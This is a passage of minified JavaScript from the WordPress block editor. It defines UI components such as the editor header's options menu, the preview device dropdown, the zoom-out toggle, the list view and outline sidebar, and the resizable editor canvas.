N_(){const{openModal:e}=(0,c.useDispatch)(Ua),{set:t}=(0,c.useDispatch)(k.store),{toggleDistractionFree:s}=(0,c.useDispatch)(Ac),o=(0,c.useSelect)((e=&gt;e(k.store).get(&quot;core&quot;,&quot;showIconLabels&quot;)),[]),n=()=&gt;{t(&quot;core&quot;,&quot;distractionFree&quot;,!1)};return(0,L.jsx)(L.Fragment,{children:(0,L.jsx)(Uo.DropdownMenu,{icon:n_,label:(0,fs.__)(&quot;Options&quot;),popoverProps:{placement:&quot;bottom-end&quot;,className:&quot;more-menu-dropdown__content&quot;},toggleProps:{showTooltip:!o,...o&amp;&amp;{variant:&quot;tertiary&quot;},tooltipPosition:&quot;bottom&quot;,size:&quot;compact&quot;},children:({onClose:t})=&gt;(0,L.jsxs)(L.Fragment,{children:[(0,L.jsxs)(Uo.MenuGroup,{label:(0,fs._x)(&quot;View&quot;,&quot;noun&quot;),children:[(0,L.jsx)(k.PreferenceToggleMenuItem,{scope:&quot;core&quot;,name:&quot;fixedToolbar&quot;,onToggle:n,label:(0,fs.__)(&quot;Top toolbar&quot;),info:(0,fs.__)(&quot;Access all block and document tools in a single place&quot;),messageActivated:(0,fs.__)(&quot;Top toolbar activated.&quot;),messageDeactivated:(0,fs.__)(&quot;Top toolbar deactivated.&quot;)}),(0,L.jsx)(k.PreferenceToggleMenuItem,{scope:&quot;core&quot;,name:&quot;distractionFree&quot;,label:(0,fs.__)(&quot;Distraction free&quot;),info:(0,fs.__)(&quot;Write with calmness&quot;),handleToggling:!1,onToggle:()=&gt;s({createNotice:!1}),messageActivated:(0,fs.__)(&quot;Distraction free mode activated.&quot;),messageDeactivated:(0,fs.__)(&quot;Distraction free mode deactivated.&quot;),shortcut:wl.displayShortcut.primaryShift(&quot;\\&quot;)}),(0,L.jsx)(k.PreferenceToggleMenuItem,{scope:&quot;core&quot;,name:&quot;focusMode&quot;,label:(0,fs.__)(&quot;Spotlight mode&quot;),info:(0,fs.__)(&quot;Focus on one block at a time&quot;),messageActivated:(0,fs.__)(&quot;Spotlight mode activated.&quot;),messageDeactivated:(0,fs.__)(&quot;Spotlight mode deactivated.&quot;)}),(0,L.jsx)(I_.Slot,{fillProps:{onClose:t}})]}),(0,L.jsx)(C_,{}),(0,L.jsx)(Za.Slot,{name:&quot;core/plugin-more-menu&quot;,label:(0,fs.__)(&quot;Plugins&quot;),fillProps:{onClick:t}}),(0,L.jsxs)(Uo.MenuGroup,{label:(0,fs.__)(&quot;Tools&quot;),children:[(0,L.jsx)(Uo.MenuItem,{onClick:()=&gt;e(&quot;editor/keyboard-shortcut-help&quot;),shortcut:wl.displayShortcut.access(&quot;h&quot;),children:(0,fs.__)(&quot;Keyboard shortcuts&quot;)}),(0,L.jsx)(w_,{}),(0,L.jsxs)(Uo.MenuItem,{icon:Fo,href:(0,fs.__)(&quot;https://wordpress.org/documentation/article/wordpress-block-editor/&quot;),target:&quot;_blank&quot;,rel:&quot;noopener noreferrer&quot;,children:[(0,fs.__)(&quot;Help&quot;),(0,L.jsx)(Uo.VisuallyHidden,{as:&quot;span&quot;,children:(0,fs.__)(&quot;(opens in a new tab)&quot;)})]}),(0,L.jsx)(E_.Slot,{fillProps:{onClose:t}})]}),(0,L.jsx)(Uo.MenuGroup,{children:(0,L.jsx)(Uo.MenuItem,{onClick:()=&gt;e(&quot;editor/preferences&quot;),children:(0,fs.__)(&quot;Preferences&quot;)})})]})})})}const D_=&quot;toggle&quot;,A_=&quot;button&quot;;function R_({forceIsDirty:e,setEntitiesSavedStatesCallback:t}){let s;const o=(0,p.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),{togglePublishSidebar:n}=(0,c.useDispatch)(Ac),{hasPublishAction:i,isBeingScheduled:r,isPending:a,isPublished:l,isPublishSidebarEnabled:d,isPublishSidebarOpened:u,isScheduled:m,postStatus:h,postStatusHasChanged:g}=(0,c.useSelect)((e=&gt;{var t;return{hasPublishAction:null!==(t=!!e(Ac).getCurrentPost()?._links?.[&quot;wp:action-publish&quot;])&amp;&amp;void 0!==t&amp;&amp;t,isBeingScheduled:e(Ac).isEditedPostBeingScheduled(),isPending:e(Ac).isCurrentPostPending(),isPublished:e(Ac).isCurrentPostPublished(),isPublishSidebarEnabled:e(Ac).isPublishSidebarEnabled(),isPublishSidebarOpened:e(Ac).isPublishSidebarOpened(),isScheduled:e(Ac).isCurrentPostScheduled(),postStatus:e(Ac).getEditedPostAttribute(&quot;status&quot;),postStatusHasChanged:e(Ac).getPostEdits()?.status}}),[]);return s=l||g&amp;&amp;![&quot;future&quot;,&quot;publish&quot;].includes(h)||m&amp;&amp;r||a&amp;&amp;!i&amp;&amp;!o?A_:o||d?D_:A_,(0,L.jsx)(Gp,{forceIsDirty:e,isOpen:u,isToggle:s===D_,onToggle:n,setEntitiesSavedStatesCallback:t})}function M_(){const{hasLoaded:e,permalink:t,isPublished:s,label:o,showIconLabels:n}=(0,c.useSelect)((e=&gt;{const t=e(Ac).getCurrentPostType(),s=e(d.store).getPostType(t),{get:o}=e(k.store);return{permalink:e(Ac).getPermalink(),isPublished:e(Ac).isCurrentPostPublished(),label:s?.labels.view_item,hasLoaded:!!s,showIconLabels:o(&quot;core&quot;,&quot;showIconLabels&quot;)}}),[]);return s&amp;&amp;t&amp;&amp;e?(0,L.jsx)(Uo.Button,{icon:Fo,label:o||(0,fs.__)(&quot;View post&quot;),href:t,target:&quot;_blank&quot;,showTooltip:!n,size:&quot;compact&quot;}):null}const L_=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M20.5 16h-.7V8c0-1.1-.9-2-2-2H6.2c-1.1 0-2 .9-2 2v8h-.7c-.8 0-1.5.7-1.5 1.5h20c0-.8-.7-1.5-1.5-1.5zM5.7 8c0-.3.2-.5.5-.5h11.6c.3 0 .5.2.5.5v7.6H5.7V8z&quot;})}),O_=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M15 4H9c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H9c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h6c.3 0 .5.2.5.5v12zm-4.5-.5h2V16h-2v1.5z&quot;})}),F_=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M17 4H7c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H7c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h10c.3 0 .5.2.5.5v12zm-7.5-.5h4V16h-4v1.5z&quot;})});function V_({forceIsAutosaveable:e,disabled:t}){const{deviceType:s,homeUrl:o,isTemplate:n,isViewable:i,showIconLabels:r,isTemplateHidden:a,templateId:l}=(0,c.useSelect)((e=&gt;{var t;const{getDeviceType:s,getCurrentPostType:o,getCurrentTemplateId:n}=e(Ac),{getRenderingMode:i}=$(e(Ac)),{getEntityRecord:r,getPostType:a}=e(d.store),{get:l}=e(k.store),c=o();return{deviceType:s(),homeUrl:r(&quot;root&quot;,&quot;__unstableBase&quot;)?.home,isTemplate:&quot;wp_template&quot;===c,isViewable:null!==(t=a(c)?.viewable)&amp;&amp;void 0!==t&amp;&amp;t,showIconLabels:l(&quot;core&quot;,&quot;showIconLabels&quot;),isTemplateHidden:&quot;post-only&quot;===i(),templateId:n()}}),[]),{setDeviceType:u,setRenderingMode:m,setDefaultRenderingMode:g}=$((0,c.useDispatch)(Ac)),{resetZoomLevel:_}=$((0,c.useDispatch)(h.store)),f=e=&gt;{u(e),_()};if((0,p.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;))return null;const b={className:&quot;editor-preview-dropdown__toggle&quot;,iconPosition:&quot;right&quot;,size:&quot;compact&quot;,showTooltip:!r,disabled:t,accessibleWhenDisabled:t},y={&quot;aria-label&quot;:(0,fs.__)(&quot;View options&quot;)},x={desktop:L_,mobile:O_,tablet:F_},v=[{value:&quot;Desktop&quot;,label:(0,fs.__)(&quot;Desktop&quot;),icon:L_},{value:&quot;Tablet&quot;,label:(0,fs.__)(&quot;Tablet&quot;),icon:F_},{value:&quot;Mobile&quot;,label:(0,fs.__)(&quot;Mobile&quot;),icon:O_}];return(0,L.jsx)(Uo.DropdownMenu,{className:Di(&quot;editor-preview-dropdown&quot;,`editor-preview-dropdown--${s.toLowerCase()}`),popoverProps:{placement:&quot;bottom-end&quot;},toggleProps:b,menuProps:y,icon:x[s.toLowerCase()],label:(0,fs.__)(&quot;View&quot;),disableOpenOnArrowDown:t,children:({onClose:t})=&gt;(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.MenuGroup,{children:(0,L.jsx)(Uo.MenuItemsChoice,{choices:v,value:s,onSelect:f})}),n&amp;&amp;(0,L.jsx)(Uo.MenuGroup,{children:(0,L.jsxs)(Uo.MenuItem,{href:o,target:&quot;_blank&quot;,icon:Fo,onClick:t,children:[(0,fs.__)(&quot;View site&quot;),(0,L.jsx)(Uo.VisuallyHidden,{as:&quot;span&quot;,children:(0,fs.__)(&quot;(opens in a new tab)&quot;)})]})}),!n&amp;&amp;!!l&amp;&amp;(0,L.jsx)(Uo.MenuGroup,{children:(0,L.jsx)(Uo.MenuItem,{icon:a?void 0:Ho,isSelected:!a,role:&quot;menuitemcheckbox&quot;,onClick:()=&gt;{const e=a?&quot;template-locked&quot;:&quot;post-only&quot;;m(e),g(e)},children:(0,fs.__)(&quot;Show template&quot;)})}),i&amp;&amp;(0,L.jsx)(Uo.MenuGroup,{children:(0,L.jsx)(Vp,{className:&quot;editor-preview-dropdown__button-external&quot;,role:&quot;menuitem&quot;,forceIsAutosaveable:e,&quot;aria-label&quot;:(0,fs.__)(&quot;Preview in new tab&quot;),textContent:(0,L.jsxs)(L.Fragment,{children:[(0,fs.__)(&quot;Preview in new tab&quot;),(0,L.jsx)(Uo.Icon,{icon:Fo})]}),onPreview:t})}),(0,L.jsx)(Za.Slot,{name:&quot;core/plugin-preview-menu&quot;,fillProps:{onClick:t}})]})})}const z_=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{fill:&quot;none&quot;,d:&quot;M5.75 12.75V18.25H11.25M12.75 5.75H18.25V11.25&quot;,stroke:&quot;currentColor&quot;,strokeWidth:&quot;1.5&quot;,strokeLinecap:&quot;square&quot;})}),U_=({disabled:e})=&gt;{const{isZoomOut:t,showIconLabels:s,isDistractionFree:o}=(0,c.useSelect)((e=&gt;({isZoomOut:$(e(h.store)).isZoomOut(),showIconLabels:e(k.store).get(&quot;core&quot;,&quot;showIconLabels&quot;),isDistractionFree:e(k.store).get(&quot;core&quot;,&quot;distractionFree&quot;)}))),{resetZoomLevel:n,setZoomLevel:i}=$((0,c.useDispatch)(h.store)),{registerShortcut:r,unregisterShortcut:a}=(0,c.useDispatch)(vl.store);(0,u.useEffect)((()=&gt;(r({name:&quot;core/editor/zoom&quot;,category:&quot;global&quot;,description:(0,fs.__)(&quot;Enter or exit zoom out.&quot;),keyCombination:{modifier:(0,wl.isAppleOS)()?&quot;primaryShift&quot;:&quot;secondary&quot;,character:&quot;0&quot;}}),()=&gt;{a(&quot;core/editor/zoom&quot;)})),[r,a]),(0,vl.useShortcut)(&quot;core/editor/zoom&quot;,(()=&gt;{t?n():i(&quot;auto-scaled&quot;)}),{isDisabled:o});return(0,L.jsx)(Uo.Button,{accessibleWhenDisabled:!0,disabled:e,onClick:()=&gt;{t?n():i(&quot;auto-scaled&quot;)},icon:z_,label:(0,fs.__)(&quot;Zoom Out&quot;),isPressed:t,size:&quot;compact&quot;,showTooltip:!s,className:&quot;editor-zoom-out-toggle&quot;})},H_=window?.__experimentalEnableBlockComment,G_={distractionFreeDisabled:{y:&quot;-50px&quot;},distractionFreeHover:{y:0},distractionFreeHidden:{y:&quot;-50px&quot;},visible:{y:0},hidden:{y:0}},$_={distractionFreeDisabled:{x:&quot;-100%&quot;},distractionFreeHover:{x:0},distractionFreeHidden:{x:&quot;-100%&quot;},visible:{x:0},hidden:{x:0}};const W_=function({customSaveButton:e,forceIsDirty:t,forceDisableBlockTools:s,setEntitiesSavedStatesCallback:o,title:n}){const i=(0,p.useViewportMatch)(&quot;large&quot;),r=(0,p.useViewportMatch)(&quot;medium&quot;),a=(0,p.useMediaQuery)(&quot;(max-width: 403px)&quot;),{postType:l,isTextEditor:d,isPublishSidebarOpened:m,showIconLabels:g,hasFixedToolbar:_,hasBlockSelection:f,hasSectionRootClientId:b}=(0,c.useSelect)((e=&gt;{const{get:t}=e(k.store),{getEditorMode:s,getCurrentPostType:o,isPublishSidebarOpened:n}=e(Ac),{getBlockSelectionStart:i,getSectionRootClientId:r}=$(e(h.store));return{postType:o(),isTextEditor:&quot;text&quot;===s(),isPublishSidebarOpened:n(),showIconLabels:t(&quot;core&quot;,&quot;showIconLabels&quot;),hasFixedToolbar:t(&quot;core&quot;,&quot;fixedToolbar&quot;),hasBlockSelection:!!i(),hasSectionRootClientId:!!r()}}),[]),y=[&quot;post&quot;,&quot;page&quot;,&quot;wp_template&quot;].includes(l)&amp;&amp;b,x=[N,B,I].includes(l)||s,[v,S]=(0,u.useState)(!0),w=!a&amp;&amp;(!_||_&amp;&amp;(!f||v)),C=(()=&gt;{const e=(0,Uo.__experimentalUseSlotFills)(Qg);return Boolean(e&amp;&amp;e.length)})();return(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-header edit-post-header&quot;,children:[C&amp;&amp;(0,L.jsx)(Uo.__unstableMotion.div,{className:&quot;editor-header__back-button&quot;,variants:$_,transition:{type:&quot;tween&quot;},children:(0,L.jsx)(t_.Slot,{})}),(0,L.jsxs)(Uo.__unstableMotion.div,{variants:G_,className:&quot;editor-header__toolbar&quot;,transition:{type:&quot;tween&quot;},children:[(0,L.jsx)(S_,{disableBlockTools:s||d}),_&amp;&amp;r&amp;&amp;(0,L.jsx)(x_,{isCollapsed:v,onToggle:S})]}),w&amp;&amp;(0,L.jsx)(Uo.__unstableMotion.div,{className:&quot;editor-header__center&quot;,variants:G_,transition:{type:&quot;tween&quot;},children:(0,L.jsx)(Xc,{title:n})}),(0,L.jsxs)(Uo.__unstableMotion.div,{variants:G_,transition:{type:&quot;tween&quot;},className:&quot;editor-header__settings&quot;,children:[!e&amp;&amp;!m&amp;&amp;(0,L.jsx)(rh,{forceIsDirty:t}),(0,L.jsx)(M_,{}),(0,L.jsx)(V_,{forceIsAutosaveable:t,disabled:x}),(0,L.jsx)(Vp,{className:&quot;editor-header__post-preview-button&quot;,forceIsAutosaveable:t}),i&amp;&amp;y&amp;&amp;(0,L.jsx)(U_,{disabled:s}),(i||!g)&amp;&amp;(0,L.jsx)(Qa.Slot,{scope:&quot;core&quot;}),!e&amp;&amp;(0,L.jsx)(R_,{forceIsDirty:t,setEntitiesSavedStatesCallback:o}),H_?(0,L.jsx)(__,{}):void 0,e,(0,L.jsx)(N_,{})]})]})},{PrivateInserterLibrary:Z_}=$(h.privateApis);function Y_(){const{blockSectionRootClientId:e,inserterSidebarToggleRef:t,inserter:s,showMostUsedBlocks:o,sidebarIsOpened:n}=(0,c.useSelect)((e=&gt;{const{getInserterSidebarToggleRef:t,getInserter:s,isPublishSidebarOpened:o}=$(e(Ac)),{getBlockRootClientId:n,isZoomOut:i,getSectionRootClientId:r}=$(e(h.store)),{get:a}=e(k.store),{getActiveComplementaryArea:l}=e(Ua);return{inserterSidebarToggleRef:t(),inserter:s(),showMostUsedBlocks:a(&quot;core&quot;,&quot;mostUsedBlocks&quot;),blockSectionRootClientId:(()=&gt;{if(i()){const e=r();if(e)return e}return n()})(),sidebarIsOpened:!(!l(&quot;core&quot;)&amp;&amp;!o())}}),[]),{setIsInserterOpened:i}=(0,c.useDispatch)(Ac),{disableComplementaryArea:r}=(0,c.useDispatch)(Ua),a=(0,p.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),l=(0,u.useRef)(),d=(0,u.useCallback)((()=&gt;{i(!1),t.current?.focus()}),[t,i]),m=(0,u.useCallback)((e=&gt;{e.keyCode!==wl.ESCAPE||e.defaultPrevented||(e.preventDefault(),d())}),[d]),g=(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-inserter-sidebar__content&quot;,children:(0,L.jsx)(Z_,{showMostUsedBlocks:o,showInserterHelpPanel:!0,shouldFocusBlock:a,rootClientId:e,onSelect:s.onSelect,__experimentalInitialTab:s.tab,__experimentalInitialCategory:s.category,__experimentalFilterValue:s.filterValue,onPatternCategorySelection:n?()=&gt;r(&quot;core&quot;):void 0,ref:l,onClose:d})});return(0,L.jsx)(&quot;div&quot;,{onKeyDown:m,className:&quot;editor-inserter-sidebar&quot;,children:g})}function K_(){return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-list-view-sidebar__outline&quot;,children:[(0,L.jsxs)(&quot;div&quot;,{children:[(0,L.jsx)(Uo.__experimentalText,{children:(0,fs.__)(&quot;Characters:&quot;)}),(0,L.jsx)(Uo.__experimentalText,{children:(0,L.jsx)(zh,{})})]}),(0,L.jsxs)(&quot;div&quot;,{children:[(0,L.jsx)(Uo.__experimentalText,{children:(0,fs.__)(&quot;Words:&quot;)}),(0,L.jsx)(Oh,{})]}),(0,L.jsxs)(&quot;div&quot;,{children:[(0,L.jsx)(Uo.__experimentalText,{children:(0,fs.__)(&quot;Time to read:&quot;)}),(0,L.jsx)(Vh,{})]})]}),(0,L.jsx)(ld,{})]})}const{TabbedSidebar:q_}=$(h.privateApis);function Q_(){const{setIsListViewOpened:e}=(0,c.useDispatch)(Ac),{getListViewToggleRef:t}=$((0,c.useSelect)(Ac)),s=(0,p.useFocusOnMount)(&quot;firstElement&quot;),o=(0,u.useCallback)((()=&gt;{e(!1),t().current?.focus()}),[t,e]),n=(0,u.useCallback)((e=&gt;{e.keyCode!==wl.ESCAPE||e.defaultPrevented||(e.preventDefault(),o())}),[o]),[i,r]=(0,u.useState)(null),[a,l]=(0,u.useState)(&quot;list-view&quot;),d=(0,u.useRef)(),m=(0,u.useRef)(),g=(0,u.useRef)(),_=(0,p.useMergeRefs)([s,g,r]);const f=(0,u.useCallback)((()=&gt;{d.current.contains(d.current.ownerDocument.activeElement)?o():function(e){const t=Kc.focus.tabbable.find(m.current)[0];if(&quot;list-view&quot;===e){const e=Kc.focus.tabbable.find(g.current)[0];(d.current.contains(e)?e:t).focus()}else t.focus()}(a)}),[o,a]);return(0,vl.useShortcut)(&quot;core/editor/toggle-list-view&quot;,f),(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-list-view-sidebar&quot;,onKeyDown:n,ref:d,children:(0,L.jsx)(q_,{tabs:[{name:&quot;list-view&quot;,title:(0,fs._x)(&quot;List View&quot;,&quot;Post overview&quot;),panel:(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-list-view-sidebar__list-view-container&quot;,children:(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-list-view-sidebar__list-view-panel-content&quot;,children:(0,L.jsx)(h.__experimentalListView,{dropZoneElement:i})})}),panelRef:_},{name:&quot;outline&quot;,title:(0,fs._x)(&quot;Outline&quot;,&quot;Post overview&quot;),panel:(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-list-view-sidebar__list-view-container&quot;,children:(0,L.jsx)(K_,{})})}],onClose:o,onSelect:e=&gt;l(e),defaultTabId:&quot;list-view&quot;,ref:m,closeButtonLabel:(0,fs.__)(&quot;Close&quot;)})})}const{Fill:X_,Slot:J_}=(0,Uo.createSlotFill)(&quot;ActionsPanel&quot;);function ef({setEntitiesSavedStatesCallback:e,closeEntitiesSavedStates:t,isEntitiesSavedStatesOpen:s,forceIsDirtyPublishPanel:o}){const{closePublishSidebar:n,togglePublishSidebar:i}=(0,c.useDispatch)(Ac),{publishSidebarOpened:r,isPublishable:a,isDirty:l,hasOtherEntitiesChanges:d}=(0,c.useSelect)((e=&gt;{const{isPublishSidebarOpened:t,isEditedPostPublishable:s,isCurrentPostPublished:o,isEditedPostDirty:n,hasNonPostEntityChanges:i}=e(Ac),r=i();return{publishSidebarOpened:t(),isPublishable:!o()&amp;&amp;s(),isDirty:r||n(),hasOtherEntitiesChanges:r}}),[]),p=(0,u.useCallback)((()=&gt;e(!0)),[]);let m;return m=r?(0,L.jsx)(Qm,{onClose:n,forceIsDirty:o,PrePublishExtension:Ru.Slot,PostPublishExtension:ju.Slot}):a&amp;&amp;!d?(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-layout__toggle-publish-panel&quot;,children:(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,onClick:i,&quot;aria-expanded&quot;:!1,children:(0,fs.__)(&quot;Open publish panel&quot;)})}):(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-layout__toggle-entities-saved-states-panel&quot;,children:(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,onClick:p,&quot;aria-expanded&quot;:!1,&quot;aria-haspopup&quot;:&quot;dialog&quot;,disabled:!l,accessibleWhenDisabled:!0,children:(0,fs.__)(&quot;Open save panel&quot;)})}),(0,L.jsxs)(L.Fragment,{children:[s&amp;&amp;(0,L.jsx)(jd,{close:t,renderDialog:!0}),(0,L.jsx)(J_,{bubblesVirtually:!0}),!s&amp;&amp;m]})}function tf({autoFocus:e=!1}){const{switchEditorMode:t}=(0,c.useDispatch)(Ac),{shortcut:s,isRichEditingEnabled:o}=(0,c.useSelect)((e=&gt;{const{getEditorSettings:t}=e(Ac),{getShortcutRepresentation:s}=e(vl.store);return{shortcut:s(&quot;core/editor/toggle-mode&quot;),isRichEditingEnabled:t().richEditingEnabled}}),[]),n=(0,u.useRef)();return(0,u.useEffect)((()=&gt;{e||n?.current?.focus()}),[e]),(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-text-editor&quot;,children:[o&amp;&amp;(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-text-editor__toolbar&quot;,children:[(0,L.jsx)(&quot;h2&quot;,{children:(0,fs.__)(&quot;Editing code&quot;)}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:()=&gt;t(&quot;visual&quot;),shortcut:s,children:(0,fs.__)(&quot;Exit code editor&quot;)})]}),(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-text-editor__body&quot;,children:[(0,L.jsx)(Ch,{ref:n}),(0,L.jsx)(bh,{})]})]})}function sf({contentRef:e}){const{onNavigateToEntityRecord:t,templateId:s}=(0,c.useSelect)((e=&gt;{const{getEditorSettings:t,getCurrentTemplateId:s}=e(Ac);return{onNavigateToEntityRecord:t().onNavigateToEntityRecord,templateId:s()}}),[]),o=(0,c.useSelect)((e=&gt;!!e(d.store).canUser(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;})),[]),[n,i]=(0,u.useState)(!1);return(0,u.useEffect)((()=&gt;{const t=e=&gt;{o&amp;&amp;e.target.classList.contains(&quot;is-root-container&quot;)&amp;&amp;&quot;core/template-part&quot;!==e.target.dataset?.type&amp;&amp;(e.defaultPrevented||(e.preventDefault(),i(!0)))},s=e.current;return s?.addEventListener(&quot;dblclick&quot;,t),()=&gt;{s?.removeEventListener(&quot;dblclick&quot;,t)}}),[e,o]),o?(0,L.jsx)(Uo.__experimentalConfirmDialog,{isOpen:n,confirmButtonText:(0,fs.__)(&quot;Edit template&quot;),onConfirm:()=&gt;{i(!1),t({postId:s,postType:&quot;wp_template&quot;})},onCancel:()=&gt;i(!1),size:&quot;medium&quot;,children:(0,fs.__)(&quot;You’ve tried to select a block that is part of a template that may be used elsewhere on your site. Would you like to edit the template?&quot;)}):null}function of({direction:e,resizeWidthBy:t}){const s=`resizable-editor__resize-help-${e}`;return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.Tooltip,{text:(0,fs.__)(&quot;Drag to resize&quot;),children:(0,L.jsx)(Uo.__unstableMotion.button,{className:`editor-resizable-editor__resize-handle is-${e}`,&quot;aria-label&quot;:(0,fs.__)(&quot;Drag to resize&quot;),&quot;aria-describedby&quot;:s,onKeyDown:function(s){const{keyCode:o}=s;o!==wl.LEFT&amp;&amp;o!==wl.RIGHT||(s.preventDefault(),&quot;left&quot;===e&amp;&amp;o===wl.LEFT||&quot;right&quot;===e&amp;&amp;o===wl.RIGHT?t(20):(&quot;left&quot;===e&amp;&amp;o===wl.RIGHT||&quot;right&quot;===e&amp;&amp;o===wl.LEFT)&amp;&amp;t(-20))},variants:{active:{opacity:1,scaleY:1.3}},whileFocus:&quot;active&quot;,whileHover:&quot;active&quot;,whileTap:&quot;active&quot;,role:&quot;separator&quot;,&quot;aria-orientation&quot;:&quot;vertical&quot;},&quot;handle&quot;)}),(0,L.jsx)(Uo.VisuallyHidden,{id:s,children:(0,fs.__)(&quot;Use left and right arrow keys to resize the canvas.&quot;)})]})}const nf={position:void 0,userSelect:void 0,cursor:void 0,width:void 0,height:void 0,top:void 0,right:void 0,bottom:void 0,left:void 0};const rf=function({className:e,enableResizing:t,height:s,children:o}){const[n,i]=(0,u.useState)(&quot;100%&quot;),r=(0,u.useRef)(),a=(0,u.useCallback)((e=&gt;{r.current&amp;&amp;i(r.current.offsetWidth+e)}),[]);return(0,L.jsx)(Uo.ResizableBox,{className:Di(&quot;editor-resizable-editor&quot;,e,{&quot;is-resizable&quot;:t}),ref:e=&gt;{r.current=e?.resizable},size:{width:t?n:&quot;100%&quot;,height:t&amp;&amp;s?s:&quot;100%&quot;},onResizeStop:(e,t,s)=&gt;{i(s.style.width)},minWidth:300,maxWidth:&quot;100%&quot;,maxHeight:&quot;100%&quot;,enable:{left:t,right:t},showHandle:t,resizeRatio:2,handleComponent:{left:(0,L.jsx)(of,{direction:&quot;left&quot;,resizeWidthBy:a}),right:(0,L.jsx)(of,{direction:&quot;right&quot;,resizeWidthBy:a})},handleClasses:void 0,handleStyles:{left:nf,right:nf},children:o})};function af(e,t,s){return Math.min(Math.max(e,t),s)}function lf(e,t,s){const o=e-af(e,s.left,s.right),n=t-af(t,s.top,s.bottom);return Math.sqrt(o*o+n*n)}function cf({isEnabled:e=!0}={}){const{getEnabledClientIdsTree:t,getBlockName:s,getBlockOrder:o}=$((0,c.useSelect)(h.store)),{selectBlock:n}=(0,c.useDispatch)(h.store);return(0,p.useRefEffect)((i=&gt;{if(!e)return;const r=e=&gt;{(e.target===i||e.target.classList.contains(&quot;is-root-container&quot;))&amp;&amp;((e,r)=&gt;{const a=t().flatMap((({clientId:e})=&gt;{const t=s(e);if(&quot;core/template-part&quot;===t)return[];if(&quot;core/post-content&quot;===t){const t=o(e);if(t.length)return t}return[e]}));let l=1/0,c=null;for(const t of a){const s=i.querySelector(`[data-block=&quot;${t}&quot;]`);if(!s)continue;const o=lf(e,r,s.getBoundingClientRect());o&lt;l&amp;&amp;o&lt;500&amp;&amp;(l=o,c=t)}c&amp;&amp;n(c)})(e.clientX,e.clientY)};return i.addEventListener(&quot;click&quot;,r),()=&gt;i.removeEventListener(&quot;click&quot;,r)}),[e])}function df(){const{getSettings:e,isZoomOut:t}=$((0,c.useSelect)(h.store)),{resetZoomLevel:s}=$((0,c.useDispatch)(h.store));return(0,p.useRefEffect)((o=&gt;{function n(o){if(t()&amp;&amp;!o.defaultPrevented){o.preventDefault();const{__experimentalSetIsInserterOpened:t}=e();&quot;function&quot;==typeof t&amp;&amp;t(!1),s()}}return o.addEventListener(&quot;dblclick&quot;,n),()=&gt;{o.removeEventListener(&quot;dblclick&quot;,n)}}),[e,t,s])}const{LayoutStyle:uf,useLayoutClasses:pf,useLayoutStyles:mf,ExperimentalBlockCanvas:hf,useFlashEditableBlocks:gf}=$(h.privateApis),_f=[I,T,N,B];function ff(e){for(let t=0;t&lt;e.length;t++){if(&quot;core/post-content&quot;===e[t].name)return e[t].attributes;if(e[t].innerBlocks.length){const s=ff(e[t].innerBlocks);if(s)return s}}}function bf(e){for(let t=0;t&lt;e.length;t++)if(&quot;core/post-content&quot;===e[t].name)return!0;return!1}const yf=function({autoFocus:e,styles:t,disableIframe:s=!1,iframeProps:o,contentRef:n,className:i}){const[r,a]=(0,u.useState)(&quot;&quot;),l=(0,p.useResizeObserver)((([e])=&gt;{a(e.borderBoxSize[0].blockSize)})),m=(0,p.useViewportMatch)(&quot;small&quot;,&quot;&lt;&quot;),{renderingMode:g,postContentAttributes:_,editedPostTemplate:f={},wrapperBlockName:b,wrapperUniqueId:x,deviceType:v,isFocusedEntity:S,isDesignPostType:w,postType:k,isPreview:C}=(0,c.useSelect)((e=&gt;{const{getCurrentPostId:t,getCurrentPostType:s,getCurrentTemplateId:o,getEditorSettings:n,getRenderingMode:i,getDeviceType:r}=e(Ac),{getPostType:a,getEditedEntityRecord:l}=e(d.store),c=s(),u=i();let p;c===I?p=&quot;core/block&quot;:&quot;post-only&quot;===u&amp;&amp;(p=&quot;core/post-content&quot;);const m=n(),h=m.supportsTemplateMode,g=a(c),_=o(),f=_?l(&quot;postType&quot;,T,_):void 0;return{renderingMode:u,postContentAttributes:m.postContentAttributes,isDesignPostType:_f.includes(c),editedPostTemplate:g?.viewable&amp;&amp;h?f:void 